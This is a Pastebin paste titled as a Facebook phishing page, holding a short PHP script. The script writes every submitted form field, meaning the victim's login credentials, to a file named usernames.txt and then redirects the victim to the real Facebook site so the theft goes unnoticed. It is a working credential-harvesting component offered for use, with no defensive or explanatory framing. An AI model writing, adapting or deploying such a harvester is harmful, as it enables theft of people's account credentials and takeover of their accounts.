cyberworm

post.php (facebook phishing page)

Jun 15th, 2015
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.30 KB | None | 0 0
  1. <?php
  2. header ('Location:http://www.facebook.com/');
  3. $handle = fopen("usernames.txt", "a");
  4. foreach($_POST as $variable => $value) {
  5.    fwrite($handle, $variable);
  6.    fwrite($handle, "=");
  7.    fwrite($handle, $value);
  8.    fwrite($handle, "\r\n");
  9. }
  10. fwrite($handle, "\r\n");
  11. fclose($handle);
  12. exit;
  13. ?>
Add Comment
Please, Sign In to add comment